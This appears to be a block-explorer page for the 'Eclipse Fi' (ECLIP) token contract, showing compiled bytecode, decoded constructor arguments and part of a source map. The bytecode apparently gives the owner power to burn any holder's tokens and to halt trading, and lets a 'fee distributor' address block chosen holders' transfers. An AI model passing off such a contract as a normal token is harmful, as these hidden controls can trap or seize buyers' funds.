ffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e269190611917565b60405180910390a3505050565b6000610e3f8484610bd9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610eb95781811015610eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea290611e8b565b60405180910390fd5b610eb88484848403610c68565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2690611f1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9690611faf565b60405180910390fd5b60011515600860009054906101000a900460ff1615151480610ff35750610fc46108b1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061103057506110016108b1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611347576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561134257600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111175760008114611112576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110990611ff5565b60405180910390fd5b611341565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111ac57600081116111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290611ff5565b60405180910390fd5b5b6111b783838361163e565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561123e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123590612087565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112d39190611bc7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113379190611917565b60405180910390a3505b5b61139e565b60011515600860009054906101000a900460ff1615151461139d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139490611ff5565b60405180910390fd5b5b6113a9838383611643565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d990612119565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611560906121ab565b60405180910390fd5b8160095461157791906121cb565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115cc91906121cb565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116319190611917565b60405180910390a3505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611682578082015181840152602081019050611667565b83811115611691576000848401525b50505050565b6000601f19601f8301169050919050565b60006116b382611648565b6116bd8185611653565b93506116cd818560208601611664565b6116d681611697565b840191505092915050565b600060208201905081810360008301526116fb81846116a8565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117388261170d565b9050919050565b6117488161172d565b811461175357600080fd5b50565b6000813590506117658161173f565b92915050565b6000819050919050565b61177e8161176b565b811461178957600080fd5b50565b60008135905061179b81611775565b92915050565b600080604083850312156117b8576117b7611703565b5b60006117c685828601611756565b92505060206117d78582860161178c565b9150509250929050565b60008115159050919050565b6117f6816117e1565b82525050565b600060208201905061181160008301846117ed565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261183c5761183b611817565b5b8235905067ffffffffffffffff8111156118595761185861181c565b5b60208301915083602082028301111561187557611874611821565b5b9250929050565b611885816117e1565b811461189057600080fd5b50565b6000813590506118a28161187c565b92915050565b6000806000604084860312156118c1576118c0611703565b5b600084013567ffffffffffffffff8111156118df576118de611708565b5b6118eb86828701611826565b935093505060206118fe86828701611893565b9150509250925092565b6119118161176b565b82525050565b600060208201905061192c6000830184611908565b92915050565b60008060006060848603121561194b5761194a611703565b5b600061195986828701611756565b935050602061196a86828701611756565b925050604061197b8682870161178c565b9150509250925092565b600060ff82169050919050565b61199b81611985565b82525050565b60006020820190506119b66000830184611992565b92915050565b6000602082840312156119d2576119d1611703565b5b60006119e084828501611756565b91505092915050565b6119f28161172d565b82525050565b6000602082019050611a0d60008301846119e9565b92915050565b60008060408385031215611a2a57611a29611703565b5b6000611a3885828601611756565b9250506020611a4985828601611756565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a9a57607f821691505b60208210811415611aae57611aad611a53565b5b50919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b6000611aea601d83611653565b9150611af582611ab4565b602082019050919050565b60006020820190508181036000830152611b1981611add565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b898261176b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611bbc57611bbb611b4f565b5b600182019050919050565b6000611bd28261176b565b9150611bdd8361176b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c1257611c11611b4f565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611c53602083611653565b9150611c5e82611c1d565b602082019050919050565b60006020820190508181036000830152611c8281611c46565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ce5602583611653565b9150611cf082611c89565b604082019050919050565b60006020820190508181036000830152611d1481611cd8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d77602483611653565b9150611d8282611d1b565b604082019050919050565b60006020820190508181036000830152611da681611d6a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e09602283611653565b9150611e1482611dad565b604082019050919050565b60006020820190508181036000830152611e3881611dfc565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611e75601d83611653565b9150611e8082611e3f565b602082019050919050565b60006020820190508181036000830152611ea481611e68565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f07602583611653565b9150611f1282611eab565b604082019050919050565b60006020820190508181036000830152611f3681611efa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f99602383611653565b9150611fa482611f3d565b604082019050919050565b60006020820190508181036000830152611fc881611f8c565b9050919050565b50565b6000611fdf600083611653565b9150611fea82611fcf565b600082019050919050565b6000602082019050818103600083015261200e81611fd2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612071602683611653565b915061207c82612015565b604082019050919050565b600060208201905081810360008301526120a081612064565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612103602183611653565b915061210e826120a7565b604082019050919050565b60006020820190508181036000830152612132816120f6565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612195602283611653565b91506121a082612139565b604082019050919050565b600060208201905081810360008301526121c481612188565b9050919050565b60006121d68261176b565b91506121e18361176b565b9250828210156121f4576121f3611b4f565b5b82820390509291505056fea2646970667358221220de9e7c956407b0d683dcc77a28692ab517763b17a4f9643f6f9aaa57dc09207164736f6c634300080a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000016e36000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000a45636c6970736520466900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545434c4950000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b41146102cf5780639dc29fac146102ed578063a457c2d714610309578063a9059cbb14610339578063dd62ed3e1461036957610116565b8063715018a61461028157806383846fe21461028b5780638da5cb5b146102a757806391b69fa0146102c557610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806339509351146101f15780634fbee1931461022157806370a082311461025157610116565b806306fdde031461011b578063095ea7b3146101395780631186b8d81461016957806318160ddd14610185575b600080fd5b610123610399565b60405161013091906116e1565b60405180910390f35b610153600480360381019061014e91906117a1565b61042b565b60405161016091906117fc565b60405180910390f35b610183600480360381019061017e91906118a8565b61044e565b005b61018d610583565b60405161019a9190611917565b60405180910390f35b6101bd60048036038101906101b89190611932565b61058d565b6040516101ca91906117fc565b60405180910390f35b6101db6105bc565b6040516101e891906119a1565b60405180910390f35b61020b600480360381019061020691906117a1565b6105c5565b60405161021891906117fc565b60405180910390f35b61023b600480360381019061023691906119bc565b61066f565b60405161024891906117fc565b60405180910390f35b61026b600480360381019061026691906119bc565b6106c5565b6040516102789190611917565b60405180910390f35b61028961070e565b005b6102a560048036038101906102a091906119bc565b610796565b005b6102af6108b1565b6040516102bc91906119f8565b60405180910390f35b6102cd6108da565b005b6102d76109b0565b6040516102e491906116e1565b60405180910390f35b610307600480360381019061030291906117a1565b610a42565b005b610323600480360381019061031e91906117a1565b610acc565b60405161033091906117fc565b60405180910390f35b610353600480360381019061034e91906117a1565b610bb6565b60405161036091906117fc565b60405180910390f35b610383600480360381019061037e9190611a13565b610bd9565b6040516103909190611917565b60405180910390f35b6060600680546103a890611a82565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611a82565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610c60565b9050610443818585610c68565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d590611b00565b60405180910390fd5b60005b8383905081101561057d5781600a600086868581811061050457610503611b20565b5b905060200201602081019061051991906119bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061057590611b7e565b9150506104e1565b50505050565b6000600454905090565b600080610598610c60565b90506105a5858285610e33565b6105b0858585610ebf565b60019150509392505050565b60006009905090565b6000806105d0610c60565b9050610664818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065f9190611bc7565b610c68565b600191505092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610716610c60565b73ffffffffffffffffffffffffffffffffffffffff166107346108b1565b73ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078190611c69565b60405180910390fd5b61079460006113ae565b565b61079e610c60565b73ffffffffffffffffffffffffffffffffffffffff166107bc6108b1565b73ffffffffffffffffffffffffffffffffffffffff1614610812576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080990611c69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108e2610c60565b73ffffffffffffffffffffffffffffffffffffffff166109006108b1565b73ffffffffffffffffffffffffffffffffffffffff1614610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d90611c69565b60405180910390fd5b60001515600860009054906101000a900460ff1615151415610992576001600860006101000a81548160ff0219169083151502179055506109ae565b6000600860006101000a81548160ff0219169083151502179055505b565b6060600780546109bf90611a82565b80601f01602080910402602001604051908101604052809291908181526020018280546109eb90611a82565b8015610a385780601f10610a0d57610100808354040283529160200191610a38565b820191906000526020600020905b815481529060010190602001808311610a1b57829003601f168201915b5050505050905090565b610a4a610c60565b73ffffffffffffffffffffffffffffffffffffffff16610a686108b1565b73ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590611c69565b60405180910390fd5b610ac88282611472565b5050565b600080610ad7610c60565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9490611cfb565b60405180910390fd5b610baa8286868403610c68565b60019250505092915050565b600080610bc1610c60565b9050610bce818585610ebf565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccf90611d8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f90611e1f565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e269190611917565b60405180910390a3505050565b6000610e3f8484610bd9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610eb95781811015610eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea290611e8b565b60405180910390fd5b610eb88484848403610c68565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2690611f1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9690611faf565b60405180910390fd5b60011515600860009054906101000a900460ff1615151480610ff35750610fc46108b1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061103057506110016108b1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611347576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561134257600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111175760008114611112576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110990611ff5565b60405180910390fd5b611341565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111ac57600081116111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290611ff5565b60405180910390fd5b5b6111b783838361163e565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561123e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123590612087565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112d39190611bc7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113379190611917565b60405180910390a3505b5b61139e565b60011515600860009054906101000a900460ff1615151461139d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139490611ff5565b60405180910390fd5b5b6113a9838383611643565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d990612119565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611560906121ab565b60405180910390fd5b8160095461157791906121cb565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115cc91906121cb565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116319190611917565b60405180910390a3505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611682578082015181840152602081019050611667565b83811115611691576000848401525b50505050565b6000601f19601f8301169050919050565b60006116b382611648565b6116bd8185611653565b93506116cd818560208601611664565b6116d681611697565b840191505092915050565b600060208201905081810360008301526116fb81846116a8565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117388261170d565b9050919050565b6117488161172d565b811461175357600080fd5b50565b6000813590506117658161173f565b92915050565b6000819050919050565b61177e8161176b565b811461178957600080fd5b50565b60008135905061179b81611775565b92915050565b600080604083850312156117b8576117b7611703565b5b60006117c685828601611756565b92505060206117d78582860161178c565b9150509250929050565b60008115159050919050565b6117f6816117e1565b82525050565b600060208201905061181160008301846117ed565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261183c5761183b611817565b5b8235905067ffffffffffffffff8111156118595761185861181c565b5b60208301915083602082028301111561187557611874611821565b5b9250929050565b611885816117e1565b811461189057600080fd5b50565b6000813590506118a28161187c565b92915050565b6000806000604084860312156118c1576118c0611703565b5b600084013567ffffffffffffffff8111156118df576118de611708565b5b6118eb86828701611826565b935093505060206118fe86828701611893565b9150509250925092565b6119118161176b565b82525050565b600060208201905061192c6000830184611908565b92915050565b60008060006060848603121561194b5761194a611703565b5b600061195986828701611756565b935050602061196a86828701611756565b925050604061197b8682870161178c565b9150509250925092565b600060ff82169050919050565b61199b81611985565b82525050565b60006020820190506119b66000830184611992565b92915050565b6000602082840312156119d2576119d1611703565b5b60006119e084828501611756565b91505092915050565b6119f28161172d565b82525050565b6000602082019050611a0d60008301846119e9565b92915050565b60008060408385031215611a2a57611a29611703565b5b6000611a3885828601611756565b9250506020611a4985828601611756565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a9a57607f821691505b60208210811415611aae57611aad611a53565b5b50919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b6000611aea601d83611653565b9150611af582611ab4565b602082019050919050565b60006020820190508181036000830152611b1981611add565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b898261176b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611bbc57611bbb611b4f565b5b600182019050919050565b6000611bd28261176b565b9150611bdd8361176b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c1257611c11611b4f565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611c53602083611653565b9150611c5e82611c1d565b602082019050919050565b60006020820190508181036000830152611c8281611c46565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ce5602583611653565b9150611cf082611c89565b604082019050919050565b60006020820190508181036000830152611d1481611cd8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d77602483611653565b9150611d8282611d1b565b604082019050919050565b60006020820190508181036000830152611da681611d6a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e09602283611653565b9150611e1482611dad565b604082019050919050565b60006020820190508181036000830152611e3881611dfc565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611e75601d83611653565b9150611e8082611e3f565b602082019050919050565b60006020820190508181036000830152611ea481611e68565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f07602583611653565b9150611f1282611eab565b604082019050919050565b60006020820190508181036000830152611f3681611efa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f99602383611653565b9150611fa482611f3d565b604082019050919050565b60006020820190508181036000830152611fc881611f8c565b9050919050565b50565b6000611fdf600083611653565b9150611fea82611fcf565b600082019050919050565b6000602082019050818103600083015261200e81611fd2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612071602683611653565b915061207c82612015565b604082019050919050565b600060208201905081810360008301526120a081612064565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612103602183611653565b915061210e826120a7565b604082019050919050565b60006020820190508181036000830152612132816120f6565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612195602283611653565b91506121a082612139565b604082019050919050565b600060208201905081810360008301526121c481612188565b9050919050565b60006121d68261176b565b91506121e18361176b565b9250828210156121f4576121f3611b4f565b5b82820390509291505056fea2646970667358221220de9e7c956407b0d683dcc77a28692ab517763b17a4f9643f6f9aaa57dc09207164736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000016e36000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000a45636c6970736520466900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545434c4950000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Eclipse Fi
Arg [1] : symbol (string): ECLIP
Arg [2] : totalSupply (uint256): 24000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000000000000000000000000000000000000016e3600
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [5] : 45636c6970736520466900000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 45434c4950000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

287:345:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1586:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3936:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12712:248;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2705:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4717:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2548:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5421:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1353:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2876:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1760:103:6;;;:::i;:::-;;1266:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;720:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1185:160:1;;;:::i;:::-;;1805:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;522:107:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6164:438:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3209:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3465:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1586:100;1640:13;1673:5;1666:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1586:100;:::o;3936:201::-;4019:4;4036:13;4052:12;:10;:12::i;:::-;4036:28;;4075:32;4084:5;4091:7;4100:6;4075:8;:32::i;:::-;4125:4;4118:11;;;3936:201;;;;:::o;12712:248::-;1185:10:6;1169:26;;:12;;;;;;;;;;;:26;;;1161:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12810:9:1::1;12805:148;12829:8;;:15;;12825:1;:19;12805:148;;;12938:3;12866:56;:69;12923:8;;12932:1;12923:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12866:69;;;;;;;;;;;;;;;;:75;;;;;;;;;;;;;;;;;;12846:3;;;;;:::i;:::-;;;;12805:148;;;;12712:248:::0;;;:::o;2705:108::-;2766:7;2793:12;;2786:19;;2705:108;:::o;4717:295::-;4848:4;4865:15;4883:12;:10;:12::i;:::-;4865:30;;4906:38;4922:4;4928:7;4937:6;4906:15;:38::i;:::-;4955:27;4965:4;4971:2;4975:6;4955:9;:27::i;:::-;5000:4;4993:11;;;4717:295;;;;;:::o;2548:92::-;2606:5;2631:1;2624:8;;2548:92;:::o;5421:240::-;5509:4;5526:13;5542:12;:10;:12::i;:::-;5526:28;;5565:66;5574:5;5581:7;5620:10;5590:11;:18;5602:5;5590:18;;;;;;;;;;;;;;;:27;5609:7;5590:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;5565:8;:66::i;:::-;5649:4;5642:11;;;5421:240;;;;:::o;1353:163::-;1419:4;1443:56;:65;1500:7;1443:65;;;;;;;;;;;;;;;;;;;;;;;;;1436: